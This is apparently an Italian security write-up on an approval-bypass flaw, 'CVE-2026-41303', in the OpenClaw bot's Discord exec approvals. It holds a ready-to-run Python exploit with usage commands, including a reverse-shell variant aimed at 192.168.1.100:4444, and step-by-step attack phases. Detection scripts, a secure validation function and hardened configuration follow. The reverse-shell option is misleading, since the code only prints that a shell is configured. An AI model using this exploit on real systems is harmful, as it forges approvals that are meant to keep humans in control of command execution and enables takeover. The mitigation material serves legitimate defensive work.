Utente Non Autorizzato
        ↓
Accesso al Canale Discord
        ↓
Identifica ID di Approvazione in Sospeso
        ↓
Esegue comando /approve
        ↓
Bot Approva senza Validare i Permessi
        ↓
Esecuzione di Codice Remoto (RCE)

import argparse
import requests
import json
import time

def main():
    # Configurazione degli argomenti professionale per l'audit
    parser = argparse.ArgumentParser(
        description="CVE-2026-41303 - Bypass di approvazione in OpenClaw",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Esempi di utilizzo:
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
        """
    )
    
    parser.add_argument("target", help="URL dell'istanza o contesto del bot")
    parser.add_argument("--token", required=True, help="Token Discord dell'attaccante/auditor")
    parser.add_argument("--channel-id", required=True, help="ID del canale Discord")
    parser.add_argument("--approval-id", required=True, help="ID dell'approvazione da bypassare")
    parser.add_argument("--decision", default="allow-once", 
                       choices=["allow-once", "allow-always"],
                       help="Tipo di decisione di approvazione (default: allow-once)")
    
    # Parametri aggiuntivi per la post-esplorazione
    parser.add_argument("--lhost", help="IP per reverse shell se l'approvazione attiva una RCE")
    parser.add_argument("--lport", help="Porta di ascolto")
    parser.add_argument("--verbose", "-v", action="store_true", help="Modalità verbose")

    args = parser.parse_args()

    # Logica di sfruttamento
    print(f"[*] Avvio bypass per l'approvazione: {args.approval_id}")
    print(f"[*] Canale obiettivo: {args.channel_id}")
    print(f"[*] Decisione: {args.decision}")
    
    if args.verbose:
        print(f"[DEBUG] Token: {args.token[:20]}...")
        print(f"[DEBUG] Target: {args.target}")
    
    # Costruzione della richiesta malformata
    headers = {
        "Authorization": f"Bearer {args.token}",
        "Content-Type": "application/json"
    }
    
    payload = {
        "approval_id": args.approval_id,
        "decision": args.decision,
        "channel_id": args.channel_id
    }
    
    try:
        # Invio del comando /approve senza validazione dei permessi
        response = requests.post(
            f"{args.target}/api/approve",
            headers=headers,
            json=payload,
            timeout=10
        )
        
        if response.status_code == 200:
            print(f"[+] Bypass riuscito! Approvazione eseguita.")
            print(f"[+] Risposta: {response.json()}")
            
            if args.lhost and args.lport:
                print(f"[*] Reverse shell configurata su {args.lhost}:{args.lport}")
        else:
            print(f"[-] Errore: {response.status_code} - {response.text}")
            
    except Exception as e:
        print(f"[-] Eccezione: {str(e)}")

if __name__ == "__main__":
    main()

# Utilizzo di base
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123

# Modalità verbose
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v

# Con reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444

1. Ottenere accesso al canale Discord dove interagisce OpenClaw
2. Monitorare i messaggi del bot per identificare ID di approvazione in sospeso
3. Catturare il formato esatto delle richieste di approvazione
4. Documentare la struttura dei comandi /approve

1. Eseguire lo script PoC con gli ID catturati
2. Inviare la decisione (allow-once o allow-always) insieme ai parametri
3. Il bot elabora il comando senza validare i permessi dell'utente
4. L'approvazione viene eseguita con successo

Se l'approvazione testuale in Discord attiva funzioni automatiche sul server:
  ↓
Deploy di codice
  ↓
Esecuzione di Codice Remota (RCE)
  ↓
Compromissione totale del sistema

# Aggiornare alla versione 2026.3.28 o superiore
pip install --upgrade openclaw>=2026.3.28

# Oppure dal repository ufficiale
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .

# Verificare channels.discord.execApprovals.approvers
# File: config.yaml

channels:
  discord:
    execApprovals:
      approvers:
        - "user_id_1"
        - "user_id_2"
        - "user_id_3"
      # ⚠️ Assicurarsi che SOLO utenti fidati siano in questa lista

# Controllare i registri di esecuzione recenti
tail -f /var/log/openclaw/execution.log

# Cercare approvazioni sospette
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"

# Audit completo
openclaw-audit --check-approvals --date-range "last-30-days"

# Script di monitoraggio per rilevare lo sfruttamento
import logging
from datetime import datetime

def monitor_approvals(log_file):
    """Rileva tentativi di bypass dell'autorizzazione"""
    
    suspicious_patterns = [
        "APPROVAL_BYPASS",
        "UNAUTHORIZED_APPROVAL",
        "INVALID_PERMISSION"
    ]
    
    with open(log_file, 'r') as f:
        for line in f:
            if any(pattern in line for pattern in suspicious_patterns):
                alert = f"[ALERTA] {datetime.now()} - {line.strip()}"
                logging.warning(alert)
                # Inviare notifica all'amministratore
                send_alert(alert)

def send_alert(message):
    """Invia avviso all'amministratore"""
    # Implementare la notifica (email, Slack, ecc.)
    pass

# Implementazione sicura della validazione
def approve_execution(user_id, approval_id, decision):
    """Valida i permessi prima di approvare"""
    
    # 1. Verificare che l'utente sia nella lista degli approvatori
    authorized_approvers = get_authorized_approvers()
    if user_id not in authorized_approvers:
        raise PermissionError(f"Utente {user_id} non autorizzato")
    
    # 2. Verificare che l'approvazione esista e sia in sospeso
    approval = get_approval(approval_id)
    if not approval or approval.status != "PENDING":
        raise ValueError(f"Approvazione {approval_id} non valida")
    
    # 3. Registrare l'azione
    log_approval(user_id, approval_id, decision)
    
    # 4. Eseguire l'approvazione
    return execute_approval(approval_id, decision)

# config.yaml - Configurazione sicura

security:
  # Validazione rigorosa dei permessi
  strict_authorization: true
  
  # Richiedere autenticazione multifattore
  mfa_required: true
  
  # Registrare tutte le approvazioni
  audit_logging: true
  
  # Limite di tentativi falliti
  max_failed_attempts: 3
  
  # Tempo di attesa tra i tentativi
  lockout_duration: 300  # secondi
  
  # Notifiche in tempo reale
  real_time_alerts: true

channels:
  discord:
    execApprovals:
      approvers:
        - "admin_user_1"
        - "admin_user_2"
      
      # Ruoli consentiti (aggiuntivo)
      allowed_roles:
        - "ADMIN"
        - "SECURITY_TEAM"
      
      # Richiede approvazione di più utenti
      require_multiple_approvals: true
      approval_threshold: 2

╔═══════════════════════════════════════════════════════════════════════════╗
║                            AVVISO IMPORTANTE                              ║
╠═══════════════════════════════════════════════════════════════════════════╣
║                                                                           ║
║ Questo documento è SOLO a scopo educativo e di sicurezza informatica.     ║
║ Le informazioni qui contenute devono essere utilizzate solo da            ║
║ professionisti della sicurezza autorizzati in ambienti controllati.       ║
║                                                                           ║
║